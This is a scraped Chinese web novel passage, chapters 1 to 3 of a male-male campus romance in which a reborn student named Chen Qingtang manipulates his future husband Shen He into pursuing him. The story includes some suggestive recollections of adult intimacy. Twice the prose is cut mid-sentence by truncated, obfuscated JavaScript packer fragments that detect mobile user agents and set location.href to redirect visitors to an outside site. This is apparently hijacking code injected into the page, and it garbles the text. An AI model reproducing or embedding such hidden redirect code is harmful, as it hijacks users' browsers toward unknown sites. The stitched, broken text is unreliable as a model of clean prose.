《钓系美人在不会爱火葬场》 1. 第 1 章 “他下午搬走,咱寝终于舒坦了。” “都不回寝室住,还把床位和桌子占着,跟谁稀罕他的位置似的。” 课堂,窗外寒冬正烈,教室里暖气足得发闷。 陈清棠趴在课桌上不深不浅地睡着,一只手垫着脑袋,另一只手搭在耳朵上。 前排的嘈杂声像是零碎的垃圾,哗啦啦倒了一耳朵,陈清棠秀长的眉头蹙了下。 “他太装了,看着就烦。” “说谁啊?” “陈清棠呗,一个男的臭讲究完了……” 楚希也听见了,白眼一翻,心里骂了句长舌贱货。 他刚要伸腿踢一脚前面那人的凳子,给他们点教训,一只修长白皙的手,忽然抢先他一步拍在了那人的肩上。 那只手落下的力道不轻不重,温和却透着恶劣。 那人正说得起劲儿,被这么突然一拍,整个人一激灵:“妈的谁啊。” 他不痛快地回头,却对上一双清洌洌的眸子,因为半醒不醒的,目光还有些散。 那人跟弹簧一样,吓得差点起跳。 草草草! 陈清棠打了个哈欠,不紧不慢道:“不要靠着我的桌子抖腿,都被你弄醒了。” 嗓音也是惺忪的。 懒得像太阳底下睡觉的小猫,怨责的话听着反而更像撒娇的嗔怪。 世界上最尴尬的事,莫过于背后说人坏话,被正主当场抓包。 那人的脸色唰地就红了,跟上漆似的,语气也僵硬:“哦,不好意思啊。” 楚希咯咯直乐:“怂包。” 又在微信上啪啪打字给陈清棠发消息。 楚希:爽!你没看到他们发现你就坐在后面时的表情,五颜六色的好精彩 陈清棠:[微笑] 因为陈清棠今天早到了,一到教室就趴着睡觉,脸上还戴着口罩,那几个人就没注意到他。 蛐蛐完那几个煞笔后,楚希放下手机,百无聊赖地打了个哈欠,扭头却发现,陈清棠正撑着脑袋,直勾勾地盯着斜前方的一个男生。 男生长得浓眉深目,高鼻薄唇,锋利的面部轮廓,让他整个人如高山清雪般冷冽。 是很典型的浓颜系帅哥。 这节课已经过了快一个多小时了,男生仍然像开课前那样,坐得脊背挺直。 一只手按着书,一只手拿着笔,低头专注地看书,姿态端正到一丝不苟。 像一棵峭然而立的亭亭松柏。 楚希瞅一眼陈清棠,又瞅一眼那个男生:“沈鹤有那么好看吗?” 陈清棠津津有味儿:“性感啊。” 楚希面露惊恐:“??哪里性感了?” 半小时都不动一下的人机,衣服扣子都要紧到喉咙,跟性感有毛钱关系? 陈清棠手指一下一下地点着腮帮子,笑眯眯的。 没人知道,沈鹤干脆利落地摘掉眼镜,目光沉如深海望着他的样子有多勾人。 那双正拿着笔,骨感修长的手,在他身上四处点火,灼热的指腹划过他的脊背,引起一片颤栗时,有多让人沉沦。 还有每次沈鹤压抑着欲,低哑磁性的嗓音像一根快要绷断的弦,却仍竭力保持着绅士礼貌:“再坚持一下,我还有一会儿。” 爆起青筋的手,掌控欲十足地把住陈清棠颤抖的腿…… 沈鹤这些迷死人的反差面,都只有陈清棠一个人知道。 楚希看他一脸春意,嘴巴一撅:“看上人了?” 陈清棠冷调的眉眼缓缓揉开,宛如春意破冬:“嗯呐~” 总比跟人解释,他是重生的,沈鹤是他上辈子结过婚的爱人要简单合理。 重生回来好一个多月了,之前都在放寒假,今天还是他跟沈鹤的第一次见面呢。 楚希单手捂嘴做惊奇状,满脸夸张神态:“天呐,好稀奇呢,这个热闹再不凑就要凉了呢。” 他俩从小一起长大,他就没见陈清棠对谁动过心。 楚希:“沈鹤有个外号,虽然中二但很形象,你知道不?” 陈清棠:“什么?” 楚希幸灾乐祸:“高冷人机。” 如果你跟沈鹤不熟,那不管你同他说什么,沈鹤都能用‘嗯’、‘好’、‘不了’、‘谢谢’,来把你打发了。 性格高冷,行事像个人机,组合称为高冷人机。 多少人在大一开学时,被沈鹤那张帅到荷尔蒙爆炸的脸,还有冷调迷人的气质蛊惑,对他趋之若鹜。 结果又因为沈鹤高冷人机的性格,几个交锋就被湮灭了热情,灰头土脸地落败撤退。 陈清棠只是一挑眉梢:“那又怎样。” 楚希:“这把高端局啊,你要怎么泡到这朵高岭之花?” 陈清棠嗯了很长一声:“你应该问,要怎么让这朵高岭之花,泡到我。” 最好的猎人,往往都以猎物的形式出现。 楚希睁大眼,两秒后又贼笑起来,一脸‘你有病,但我很欣赏哦’的表情。 铃声适时响起,教室里的声音瞬间变得嘈杂,吆喝声,嬉闹声,还有拖凳子的声音,全方位立体环绕在耳边。 楚希把包往背上一抡:“走呗,下午你不得搬寝室吗,我给你搭手。” 陈清棠还在看沈鹤,一边收自己的书一边看,神情若有所思。 楚希抬脚搂他腿弯儿,恨不得把他脑袋摁沈鹤身上:“还看,这么喜欢就过去要个微信呗。” 陈清棠慢条斯理道:“不,得他来要我的微信。” “他要主动加我联系方式,主动靠近我,主动追求我。” 楚希的嘲讽噗嗤一声好响亮:“你脸挺大,皮也厚实,应该挺经打的。” 两人一齐往教室外走。 已经走过了沈鹤的座位,楚希却忽然发现陈清棠没跟上来。 回头一看,好家伙! 陈清棠正借着路过的掩盖,心机地把自己的校园卡,‘掉’在了沈鹤脚边的雨伞上。 楚希:“??!!” 出了教室,楚希还忍不住一步三回头,想看沈鹤有没有去捡那张校园卡。 眼看他要撞上墙了,陈清棠从顶上单手掌住他的脑袋,把他头扭了回来。 楚希缓缓竖起大拇指:“……你是真放心啊,万一他不捡呢?万一他捡了不联系你,不还你呢?” 陈清棠只是漫不经心地勾了下唇。 — 等教室里的人都散得差不多时,沈鹤才单手闭上书本,收拾东西准备走。 这时室友的电话忽然来了。 沈鹤带上蓝牙耳机,嗓音干净偏冷,像窗外清凌凌的雨夹雪:“什么事。” 这样的寒天,室友逃了课,此时正舒舒服服地窝在寝室吃东西:“沈哥,咱寝室要来新人了你知道不?” 沈鹤:“嗯。看到通知了。” 已经是大一下学期了,按理说寝室不会再有变动,但沈鹤他们寝,上学期走了一个。 所以这学期插一个人进来,也很正常。 魏彦:“叫陈清棠,你有印象不。” 沈鹤强迫症地把几本书规矩地叠整齐,这才放进书包里:“没。” 魏彦加大音量:“陈清棠啊!2班的,咱系里上学期跟你成绩并列第一的那位,有印象了不?” 沈鹤很注重学习成绩:“想起了。” 沈鹤这人,崇尚精简社交,从来不把时间和精力,浪费在维系无意义的社交关系上。 所以哪怕他们两个班经常一起上课,沈鹤对陈清棠也并不熟悉,只知道个空头名字,连他长什么样都不清楚。 魏彦:“新室友可关系到咱寝未来三年半的和谐,沈哥你好歹关心一下……” 魏彦还在叽叽喳喳,沈鹤已经背好书包准备走了。 他弯腰去拿地上的雨伞时,忽然看见伞骨里卡着一张校园卡。 捡起来打量。 校园卡上有主人的照片,那是个长相很惊艳的男孩子,鼻山眼水的,拍照时凝视着镜头,目光却很涣散 似乎快门闪下那一刻正在走神想什么。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800731|158400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 现在沈鹤对陈清棠的印象具体些了——成绩好+长得好看。 魏彦:“喂喂?还在听吗?我跟你说新室友的事儿呢?” 沈鹤安静两秒:“新室友叫陈清棠,工商管理2班,学号2023020219,对吗。” 魏彦愣了下:“啊对。你查人家户口了?咋连他学号都清楚?” 沈鹤把校园卡用纸巾擦了擦,放进衣兜:“我捡到了他的校园卡。” 魏彦:“嘿,你说这不巧了吗。” 这下沈鹤不关心也得关心下了。 魏彦:“他今晚就要搬进来,沈哥你晚上回来认认人呗,好歹都一个寝室的,你还是室长。” 因为沈鹤校外有租房子,不在学校里住,所以室友特意打电话喊他一声。 魏彦:“刚好你还他校园卡,估计人丢了卡,正着急呢。” 沈鹤嗯了声:“你跟他说,让他别急。我下午有事,晚上会回寝室把卡还他。” 交代完后沈鹤挂了电话。 一边走,沈鹤一边在手机上写了条备忘录,并设置了闹钟。 备忘录上只有一句话:晚上八点回寝室,还校园卡。 沈鹤就是这么一板一眼,正经又规矩的人。 —— 大概晚上七点四十几分,魏彦第一个回了寝室。 推开门,看到被打扫干净、整洁得让人感动的屋子时,魏彦好想流泪。 天爷,真希望学校现在来突击检查卫生,他们寝有生之年也能评优了。 魏彦背着手,在寝室里四处巡视一番,最后发出感慨:“干净,太干净了。” 刚好陈清棠在阳台晾完衣服进来 魏彦一个步子蹿到他面前,热情大方:“你好,我叫魏彦!抱歉啊,我下午给班里领书去了,要不我肯定跟你一块儿大扫除。” 陈清棠官方微笑:“你好。” 魏彦很自然地抬手拍他肩膀,陈清棠却身子一偏避开了。 魏彦愣了下,也不尴尬,挠头笑说:“那下周就换我打扫寝室了哈,再下周是罗新,咱么寝是轮流的。” 陈清棠敏锐地察觉到什么:“你们之前,是一周打扫一次吗。” 魏彦忽然眼神开始闪躲:“啊……不说这个了,你在等沈哥吧,他马上就到寝室了。” 陈清棠:“……” 好吧,他心里有数了。 魏彦拉开凳子坐下:“咱寝一共四人儿,还有个叫罗新,他家住得偏远,今天人还在火车上,明天你就能见着了。” “对了,你有什么禁忌吗,都说出来,这样咱们以后好互相尊重,有利于寝室关系和谐。” 陈清棠微微歪头:“禁忌?” 魏彦对他笑:“对,比如我不喜欢别人在我打游戏时打扰我,新子不喜欢别人动他的东西。” 这种一开始就亮出自己底线的社交方式,最初是沈鹤提出来的。 可以有效避免不必要的摩擦和矛盾,室友间相处更轻松和谐,同时可以筛掉一些不真诚爱作怪的人。 魏彦:“沈哥嘛……” 陈清棠安静地等着他的下文。 虽然他对沈鹤的了解比魏彦要深,但他也好奇别人眼里的沈鹤,到底是怎样的。 魏彦笑起来:“沈哥那人看似高冷不好相处,其实心眼好,人也好,以后处熟了你就知道了。” 陈清棠:“是吗。” 魏彦:“嗯啊,还有一点就是沈哥他雷gay,不大能接受男同哈。” 陈清棠意味不明地点点头。 雷个屁的gay 上辈子他是被谁干了四年? 魏彦摸着头哈哈两声:“你应该不是吧。” gay还是挺少的,这概率不能让他们寝室撞上吧。 陈清棠没接话,只是面带微笑又平和地看着他,在一片静默中还眨了下眼。 真想恶劣地承认一下,看看对方破碎又无助的表情呢。 这时,门忽然嘎吱一声开了。 沈鹤回来了。 2. 第 2 章 陈清棠应声回眸。 沈鹤进门第一眼看到的,是一双开合流转都带着说不出的韵味儿的黑眸,含着脉脉风情,绵绵密密地勾人,却又显得不轻浮暧昧。 那种感觉好像江南水乡的清早,隔着朦胧的雾气赏花。 男生比照片上要瘦点,五官绸丽偏艳。 偏偏气质又像是月下染了薄霜的海棠,有种清冷如月的婉约、疏离,恰到好处地中和了他五官里,因为太艳而流露出的攻击性,让他整个人偏向于圆润温和。 真人远比照片上震撼,沈鹤的目光下意识凝滞了。 陈清棠就大大方方地由着他看,他也盯着沈鹤看。 两人的视线无声中相碰,相撞,然后纠缠在一起,一股微妙的气氛藤蔓般爬满了整个寝室。 直到魏彦咳了声,两人才都回神。 沈鹤拿出校园卡还给陈清棠。 陈清棠伸手接过,目光却没从沈鹤身上挪开:“谢谢。” 清冽如泉的嗓音,分明是很寻常的两个字,却在沈鹤心里平静的某处投下了一颗石子,圈圈漾开了波澜。 这种微妙怪异的感觉实在陌生,沈鹤下意识抬眼,又对上了那双似笑非笑的含情目。 男生的眼神很平静,却有种危险的拉扯力,像是藏着一个不见底的深渊,要将他的灵魂都卷入其中 沈鹤莫名心头一跳。 —— 晚上闭灯后,陈清棠舒舒服服地窝在自己床上,把床帘也拉上。 正要看会儿辩论比赛,楚希的消息就来了。 楚希:咋样了啊亲爱的棠 楚希:你都住进他们寝室了,跟沈鹤有啥进展没? 楚希也是下午帮陈清棠搬寝室时,才知道沈鹤也住这屋,他这发小完全就是蓄谋已久啊。 陈清棠:没,沈鹤不住寝室 楚希:[猫猫震惊] 那你搬进去干什么? 陈清棠打了个哈欠:当然是钓鱼 楚希很快反应过来了:噢,我懂,打进他的生活圈和社交圈,拉存在感 陈清棠:[微笑] 人与人之间关系的核心,其实就是——建立联系;进一步建立联系;再进一步建立更深的联系。 建立联系就需要一个纽带,没有纽带就制造纽带 纽带看似作用不大,但一定要有,这样才能自然地展开故事。 而室友这个身份,是陈清棠建立起的跟沈鹤之间,第一层关系的纽带。 俗话说得好,近水楼台先得月嘛。 楚希:那你加上他微信了吗 陈清棠:我说过,他得主动来加我的微信 楚希:??就沈鹤那性格?冷傲你知道吗,高冷,傲气,人完全不屑于维持什么同学关系 楚希:所以你要以为你是他室友,他就会主动加你微信,你就错了,你去主动要那还差不多 陈清棠游刃有余:他会的 楚希:……打个赌? 陈清棠:可以 楚希:那我,浅浅押个一星期?赌一星期内沈鹤能加你微信,你输了请我吃饭 一个星期差不多同寝室的人都混熟了,那加个微信还说得过去。 陈清棠翘起脚,白皙的脚踝微微晃动:我赌一天内 楚希:牛逼,那截止明天晚上十二点? 陈清棠:可以 楚希:你说你加个微信,顺手的事儿,那么磨叽,啥时候才能追到人 陈清棠:我问你,从大一开学到现在,主动去加沈鹤微信的人,很少? 楚希:这倒是…… 让他们排个队,估计起码能从学校的北门口排到南门口,绕学校一大圈儿。 毕竟沈鹤那样的,抛开惊艳的外貌不说,脑子好,高考是以第一名的成绩考进来的。 家里经商,人正经的富二代公子哥儿,钱绝对不缺 人品更是没得挑的,曾经还因为见义勇为,舍身勇斗抢劫犯,上了市区的新闻。 陈清棠:这群人里有几个真的跟沈鹤熟起来了的,又有谁是追到了沈鹤的 楚希:……没有 一个都没有。 活生生的例子,楚希辩论社团里的两个姑娘,都去要了沈鹤微信,但人压根儿就不给。 还有个男生,借着商讨辩论比赛的事儿去加了沈鹤。 不错的开头吧? 但没聊上几句,沈鹤就堪破了他的意图,直接就硬性劝退—— 沈鹤:抱歉,没有谈恋爱的打算 沈鹤:如果你是抱着这个目的来的,请不要再在我身上浪费时间和精力,这对你不公平,对我也非常打扰 男生挣扎:做朋友也不行吗 沈鹤:我不缺朋友 看看,全方位严防死守,路给堵得死死的。 楚希:他是真难追,啧 陈清棠一言道破核心:目的性太重,会把猎物惊跑 陈清棠:我会让他自己,一点点主动靠近我 像是被钓的鱼一样,哪怕察觉到鱼饵背后是美丽的陷阱,也会心甘情愿地咬钩。 楚希:说得好厉害呀~我倒要看看一天内,沈鹤会不会主动来加你微信 陈清棠:对了,有个事要你帮下忙 — 开学第二天,这节课是个大课,系里好几个班一起上。 当然,这不重要,重要的是,这节课沈鹤也会来。 在进教室前,陈清棠刹住脚,理了理被风吹乱的头发,确认自己清爽帅气,又把口罩拉上,这才抱着两本书推门。 刚迈进教室,只一眼,就看到了最后一排的魏彦。 还有坐得端正、体态好得让人赏心悦目的沈鹤。 而沈鹤的旁边,刚好空着一个位置。 陈清棠慢慢往后走,一边走一边找空座位。 但他来得算是很晚了,教室里基本没空位了。 这时,楚希从人群中站起来朝他挥手。 陈清棠视而不见,拿出手机给他发微信:别叫我 楚希:??你都没座,我给你占了,快来啊 陈清棠:不用,以后上课你都别给我占座了,就当我们不认识 楚希:???是人吗,说这话你就不怕伤我的心吗 陈清棠:组织会记得你的付出 [微笑] 楚希:[白眼] 那你这节课咋办,坐哪儿? 楚希头往后一撇,打量一圈,一眼就盯着了沈鹤旁边的空位。 楚希:啊,你不会是想跟他坐一起吧? 楚希:那个座位是给罗新占的吧,你们寝还有个罗新没来 陈清棠没回答,收起了手机。 他已经把过道走通了,于是又折返回去,再一次从前面走到后面。 重生的好处就是,陈清棠不光对沈鹤了如指掌,对沈鹤周围的人也都了如指掌。 前期他的小算盘能不能打赢,关键得看开朗得有点傻气、又乐于助人的魏彦。 这时,一局游戏完了的魏彦刚好抬头打哈欠,一眼就瞅着了正专心找着座位的陈清棠。 魏彦喊了声沈鹤。 沈鹤做事时专注度高到变态,能自动屏蔽周围的杂音,什么都听不见。 魏彦又用胳膊肘碰了下沈鹤:“沈哥,陈清棠好像来晚了,没有座位。” 沈鹤没抬头,目光却凝滞了两秒。 听到那个名字,就想起昨晚盯着他看的那双眼睛—— 目光含着细碎的笑意,透露出平和友善的信息,像一朵开在沼泽边,绚烂夺目、无比漂亮的花。 一朵,用自己的美丽、无辜,来蛊惑行人靠近,然后趁其不备瞬间将其捕食的食人花。 沈鹤视线继续在电脑屏幕上扫动:“跟我们没关系。” 语气冷淡到不近人情。 魏彦:“可他人挺好的,昨天我有事儿去忙,他还自己一个人收拾了寝室……” “而且都是室友,总不好看他没有座吧?他站那儿看着挺可怜的。” 沈鹤的手指顿了下:“罗新还没来。” 这个空位是他们给罗新占的。 魏彦挠挠头:“但新子他火车晚点了,上午肯定到不了。” “反正这个座空着也是空着,要不让给陈清棠?” 魏彦观察着沈鹤的表情,只要沈鹤不同意,那也只有算了。 他们寝一直这样,一切以沈鹤为重心展开行动。 沉默,很长的沉默 陈清棠已经走完了第二遍过道。 魏彦差不多不抱希望了,心里开始为陈清棠祈祷。 沈鹤却忽然开口了:“让他过来。” 低磁的男性嗓音,像是一杯醇香的浓酒,沉厚清冽,沈鹤的声音好听到让人发醉。 魏彦立马笑嘿嘿:“好嘞。” 陈清棠打算折返走第三遍过道时,终于听到魏彦招呼他的美妙声音了:“陈清棠!这里这里!” 陈清棠拉了拉口罩,朝魏彦那边走过去。 魏彦想了下,收拾好桌面的东西,起身坐到了沈鹤旁边,把自己的位置让给了陈清棠。 主要是,沈鹤不喜欢跟不熟的人坐一起。 陈清棠就安静地等魏彦换位置。 这正合他的意。 沈鹤是个距离感很重的人,一上来就坐在一起,物理上太亲近,反而会被排斥。 这样不浅不淡地刷一下存在感就好。 上课铃响了,老师踩着铃声掐点儿进来。 把书往讲桌上一撂,开始讲些新学期的规矩。 沈鹤就拿出书自己看,还没看两行,前排一只手忽然伸了过来,食指和中指间还夹着一张纸条。 但这纸条不是给他的,而是给魏彦的。 沈鹤当没瞧见,继续看自己的书。 那只手就这样来来回回,当着他的面儿往返了好几次。 直到有一次陈清棠没把握好距离,把手伸到了沈鹤的那边。 而魏彦正打游戏打得起劲儿,根本没注意到。 沈鹤顺着被挡住字的书,看向了那只手。 男生的手骨节匀称、秀长,指甲修剪工整,不知道是不是擦了什么护手霜,这个距离还能闻到一股香气。 像是十月里湿淋淋带着露水的桂花。 浅淡的甜香,很好闻。 沈鹤看了两秒,用笔将这只手拨开,拨到了魏彦那边。 魏彦这才注意到,忙接过纸条压低声:“我跟小陈说事儿呢。” 沈鹤也没什么反应。 过了会儿,魏彦把那张纸条推了过来:“沈哥你看一眼儿,陈清棠打算给寝室里添些东西,我跟他商量得差不多了,你要觉得成,咱就敲定了。” 虽然沈鹤很少在寝室里住,但他经常回寝室,大家公用的一些东西他也在用,所以要买什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800732|158400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,他也是要参与的。 沈鹤接过那张纸条,上面有两种天差地别的字迹。 一种缭乱草草,一看就是魏彦写的。 另一种端正秀丽,但又透着锋利的遒劲,一撇一捺都是侵略性。 这个人,气质温和清冷,写的字却透着烈烈野性。 沈鹤看完了,提笔想补点什么,但魏彦的字实在辣眼睛,他就挨着陈清棠的字写。 写完后递给魏彦,没两秒,魏彦又递给了陈清棠。 陈清棠一只手撑着下巴,另一只手拿着笔,把沈鹤写的字圈了又圈。 他甚至能想象出,沈鹤修长干净的手握着笔,一起一落地在纸上游走的样子。 手背蜿蜒的青筋随着动作鼓动,时隐时现,手臂绷出性感的线条…… 写出这样正气、端方的字的手,跟在他身上私密处,挑逗讨好他的手,是同一只呢。 他还没忘记,这双手带给过他怎样的欲生欲死的欢.愉。 陈清棠微微眯起眼,真是的,写个字都这么性感。 上午就一节课,下午两个班分开上课,陈清棠跟沈鹤连面儿都没见上。 一晃就到了晚上 快九点的时候,魏彦开始打游戏。 听他一口一个‘沈哥’地叫,陈清棠就知道他在跟谁双排。 楚希的消息又来了:一天过去了,沈鹤加你微信没? 陈清棠靠着椅子,悠闲地翘着二郎腿,翘起的那只脚上还挂了只翻毛拖鞋。 陈清棠:还没,我让你帮忙的事呢 楚希:包的!社长说,把下周周末的辩论赛移到这周三,也就是明天 楚希:话说你会打辩论比赛吗,你到底想干嘛啊 陈清棠:当然是,给沈鹤制造主动接近我的机会 放饵,然后等鱼上钩 楚希:尽吹牛,你俩不会现在还没说上话吧?话都不说,他怎么加你微信? 陈清棠晃着白皙的脚腕,脚尖的拖鞋也随着他的动作,在地面一点一点的:嗯 陈清棠:当然要他主动来找我说话 得沈鹤主动找话题,主动对他释放友好信息,主动让两人关系破冰。 这一步,必然要沈鹤主动才有意义 人只会对自己做过的事,主动靠近的人,印象深刻。 陈清棠:就算我们话都不说,他还是会加我微信 楚希:不信,有本事你先赢了赌约 陈清棠:这就赢给你看 [微笑] 他把手机切到了淘宝,然后站起身朝魏彦走过去。 魏彦一局游戏刚好完了,正要说不打了,肩膀就被拍了下。 他边回头边取下一只耳机:“咋啦?” 陈清棠把手机的购物界面给他看:“东西我都买好了,账单……” 魏彦一拍脑门:“嗐,我真是的,来,咱俩加个微信,你把账单发我,我给你A钱。” 陈清棠:“好。” 一分钟后两人扫完了码。 魏彦看着屏幕上陈清棠的微信头像,愣了下,挠挠头最终没说什么,麻溜儿地添加了好友: “新子估计得明天才能到校,等算完账,他那份儿我一块儿发你哈。” 又对还没挂断连麦的沈鹤说:“沈哥呢,你那份钱是我也一起帮你转了,还是你自个儿?” 沈鹤似乎说了什么,魏彦下巴一扬:“哦好,那沈哥的我也一块儿。” 陈清棠指尖微动:“好的。” 他忽然话头一转,提起另一件事:“对了,能把你们班的课表发我一份儿吗,我想排个值日表,以后我们每天轮流打扫寝室。” 魏彦犹犹豫豫,挠头:“啊……这……寝室一周打扫一次就够了吧。” 这时,耳机里传来声音:“按他说的做。” 沈鹤脸上没什么表情,但眉间蹙着一抹冷意。 他说怎么每次回寝室,卫生都那么差,臭气熏天的,像哪里窝着只死老鼠。 原来这两个崽子一周打扫一次卫生。 沈鹤少有地严肃,嗓音都低沉几分:“课表给他,以后每天都要打扫寝室,我会检查。” 魏彦委屈巴巴地:“好吧。” 陈清棠又说:“寝室有些东西也得换,像拖把什么的,马桶也需要报修,我明天再检查检查,要花的钱我会详细记下,整理成账单发给你们。” 陈清棠向来对生活的水准要求比较高,操心这些,也是为了以后自己能在这个寝室住得舒舒服服的,钓沈鹤不过是顺带。 魏彦:“成,你也太心细了,交给你我们都放心。” 沈鹤微信上刚收到了魏彦发来的账单,就听到陈清棠这么说。 静默片刻,他对魏彦说:“把他微信推给我。我自己给他转账。” 沈鹤基本没住过校,魏彦他们又是得过且过的性子,他第一次发现,室友之间需要商量的事那么多。 以后来往肯定也不会少。 加上微信,有什么事更方便交流。 魏彦耳机连接手机的插头早就掉了,沈鹤的声音就那么清冽地传了出来,在寝室里响起。 陈清棠不动声色地勾起一个笑。 他坐回自己的位置,回复楚希:我赢了 轻轻松松。 甚至完全不需要任何技巧,也不需要花费什么小心思。 楚希秒回:我草??!! 3. 第 3 章 看着被推过来的那个微信号的头像,沈鹤指尖顿住。 魏彦:是不是跟你的头像一毛一样,我刚看到时也懵了下 沈鹤:颜色不一样,方向也不一样。 他跟陈清棠的头像,都是卡通动画,画的是一条盘踞在一片荷叶下,正惬意地安睡的小蛇。 只不过他的微信头像,蛇头是向着左边的,小蛇遍体通黑。 而陈清棠的蛇头是向着右边的,小蛇浑身雪白。 魏彦:你俩好像情头哦,哈哈哈 沈鹤要按下好友申请键的手指,因为这句话又抬了起来 他薄唇微抿,指腹在头像上停留了一会儿。 魏彦:人呢? 沈鹤:不是情头,是巧合 魏彦:嗐,我就说说,那肯定是巧合啊 魏彦:但你要顶着这个微信头像加他吗 不会尴尬吗? 沈鹤:嗯 特意换头像也没有必要。 沈鹤这次果断地按下了添加联系人。 陈清棠收到好友通知时,正被楚希拉着盘问。 楚希:你给我看看截图,万一你是骗我的呢 陈清棠切到通知那栏的界面,把沈鹤的好友申请截了个图,直接甩给他。 楚希:……我草,你真行啊 楚希:你咋还没点通过 陈清棠:不急 快到学校统一闭灯的时间了,陈清棠端着自己的蓝色小盆,里面放了一系列洗漱用品,去了寝室楼里每层公用的洗漱间。 刷牙的时候,他看着镜子里的自己,一双凤眼弯了弯。 沈鹤没有换掉头像。 这说明,目前沈鹤对他并不排斥,甚至可以说,对他的印象还不错。 沈鹤是个什么样的人呢? 边界感很强,在不熟的前提下,沈鹤会排斥一切靠近他私人生活的人,像只具有极强领地意识的狼。 这个卡通蛇的微信头像,上辈子沈鹤用了十多年,他一直不知道这是情侣头像。 有次有个想追沈鹤的人,发现了卡通蛇的另一半头像,第二天就换上了,还故意顶着这个头像去找沈鹤聊天,想试探一下他的态度。 结果沈鹤被人提示他们很像情侣头像后,他当天就换掉了头像,并且拉黑了那个同事。 当然,那人被拉黑还有个原因——他目的性太强了,强到让沈鹤感到不适。 从小到大,被沈鹤出色的外表和傲人的家世,吸引过来的人实在太多,沈鹤已经感到厌烦。 所以他会本能地排斥那些目的性很强的人。 这才是沈鹤难追的根本原因。 陈清棠故意换上那个卡通蛇的头像,就是想试探一下,目前为止沈鹤对他的初印象。 但沈鹤不仅没有换掉头像,还主动加了他微信,说明沈鹤对他的印象还不错。 看来明天……成功率会很高。 陈清棠拿起帕子擦掉脸上的水珠,又凑近镜子,欣赏了一下他这张尚且稚嫩青涩的脸。 还用手拍了两下,嗯,真嫩。 迷死人了。 上辈子,每次那种时候,沈鹤都会掐着他的下巴,强迫他露出脸来。 然后盯着他看几秒,眸色逐渐暗沉,最终总忍不住低下头,在剧烈到震耳欲聋的心跳声中吻住他。 这张年轻的脸,布满红潮、双眼迷离失神的样子,一定更加漂亮得让人窒息。 陈清棠左右看看,满意地点点头。 不是没想过色.诱沈鹤,但那种手段不适合用来做主基调。 光靠色.诱就钓到的,能是什么好东西? 只迷恋皮囊的蠢玩意儿,陈清棠看不上。 色.诱,只适合用来做中场的调味剂,作为扰乱对方心神的武器。 陈清棠要的,不光是沈鹤对他皮囊的迷恋,还要沈鹤为他的灵魂着迷。 沈鹤要爱他的闪闪发亮,也要爱他的残缺不堪,要爱他的高尚,也要爱他的卑劣。 他要让沈鹤,对他的每一寸瑕疵,都发疯地爱到上瘾。 洗漱完回到寝室,舒舒服服地躺在床上,把床帘也拉上。 陈清棠这才拿起手机,点了通过好友申请。 沈鹤那边很快就甩来一个红包。 陈清棠接收了,发了一个[收到]的表情包就把手机扔一旁,睡美容觉去了。 前期刷一下存在感就好,多的不用做。 — 中午放学后,魏彦和沈鹤打算去接一下罗新。 罗新的家在偏远的山村,坐火车都得几天几夜。 这孩子舍不得花钱,买的是硬座,经过了车上几天的摧残,差不多累得快升天了。 沈鹤怕他一个人下火车后,东西太多拿不走,又舍不得打车,拖着那么大的箱子挤地铁又太费劲儿,就跟魏彦两人开车去接他。 如今才三月份,北方外面的雪都还没化,气温很低。 到火车站时,罗新已经拎着两个大箱子早早等在出站口了,憨实的小脸儿被寒风刮得发红。 沈鹤大步上前接过罗新的行李箱,三人上了车。 罗新坐在后排,一边搓着手回暖温度,一边开心的说:“沈哥我带了我们那边的特产,你肯定没吃过!等回去我煮了给你俩尝尝!” 沈鹤嗯了声。 魏彦笑着接话:“沈哥都不一定吃得惯。” 罗新:“先尝尝嘛。” 又说:“那个新室友怎么样?好相处吗?” 魏彦玩儿着手机:“还成吧,没处着两天的,还看不出来人怎么样的。” “沈哥你觉得呢?” 沈鹤没什么表情,专注地看着前方:“讲卫生,心细,社交分寸感很好。” 很公正客观的评价。 魏彦竖起大拇指:“好家伙,沈哥都没跟他见过两次的吧。” 罗新想起什么:“啊,我昨晚加了陈清棠微信的,我看看他朋友圈。” 车里安静了一会儿,刚好到了红灯路口,车子缓缓停住。 沈鹤余光瞥了眼罗新,发现他翘着嘴角在笑。 罗新就坐在副驾驶座上的,直接拿着手机把胳膊伸到沈鹤眼前:“沈哥你看,我觉得他好可爱。” 陈清棠的朋友圈设置了仅三天可见,简单到只发了两件事: 2.27号8点:要戴口罩 2.27号11点半:不吃萝卜,排雷了(食堂一楼2号窗口) 2.28号8点:要戴口罩 2.28号13点:不吃茄子,排雷了(食堂一楼5号窗口)PS:菜里有虫,不卫生,差评 3.1号8点:要戴口罩 3.1号12点半:口味太麻,排雷了(食堂二楼7号窗口) 沈鹤胸膛颤动了下,眼里晃荡着微不可见的笑意。 但这几分浅薄的笑,又很快如同烈阳下的水雾一般消散。 这个人,是在写什么口罩日记,和挑食排雷日记吗。 现在沈鹤才注意到,似乎除了开学那天在寝室里见的一面,其他看到陈清棠的时候,那个人都带着口罩。 为什么要戴口罩。 连在教室里都不摘。 魏彦也凑上来看了眼,哈哈两声:“他还挺有意思的昂。” 笑完了,魏彦又说:“沈哥,咱今晚要不聚个餐吧。都一个寒假没见了。” 到了路口,沈鹤熟练地一打方向盘:“今晚不行,社团要开个小型辩论赛。” 魏彦:“这么突然?这才开学几天,就有社团活动啊?” 沈鹤:“社长安排的。” 说看看大家一个寒假过去,辩论的水平退化没有,同时也是把人聚拢在一起,联络下感情。 